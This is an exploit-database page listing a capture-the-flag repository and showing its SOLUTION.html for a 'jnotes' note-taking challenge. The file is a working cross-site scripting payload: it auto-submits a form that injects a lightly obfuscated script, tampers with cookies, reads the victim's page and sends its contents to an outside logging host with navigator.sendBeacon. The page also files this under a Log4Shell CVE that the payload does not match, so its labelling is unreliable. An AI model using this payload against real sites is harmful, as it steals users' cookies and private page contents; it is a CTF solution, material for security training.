Exploit databaseDownload repository ZIP
GH-51b9dee0a9fc2b7176517ada2bbd6d8e
2dukes/cyber-range-framework
Sources for CVE-2021-44228
465 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files15
2dukes/cyber-range-frameworkRevision 7888f66930ff
- ↑..Parent directory
- admin_bot_setup/
- attacker_machine_setup/
- challenge/
- download/
- setup/
- .gitignore
- SOLUTION.html
- SOLUTION.md
- adminbot-handout.js
- adminbot.js
- challenge.yaml
- challenge_vars.yml
- flag.txt
- handout.tar
- make_handout.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
project/scenarios/jnotes/SOLUTION.html
HTML · 774 bytes<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8" /></head>
<body>
<form method="POST" action="https://jnotes.mc.ax/create?asdf">
<input id="p" name="note" value="" />
</form>
<script>
document.querySelector("#p").value = `</textarea>
<\x73cript>
if (window.location.pathname !== "//") {
document.cookie = 'note=; Max-Age=-1';
document.cookie = '=note="uhhh; path=//';
document.cookie = 'END=ok" ; path=';
w = window.open('https://jnotes.mc.ax//');
setTimeout(()=>{
ex = w.document.body.innerHTML;
navigator.sendBeacon('https://hc.lc/log2.php', ex);
}, 500);
}
</\x73cript>`;
document.forms[0].submit();
</script>
</body>
</html>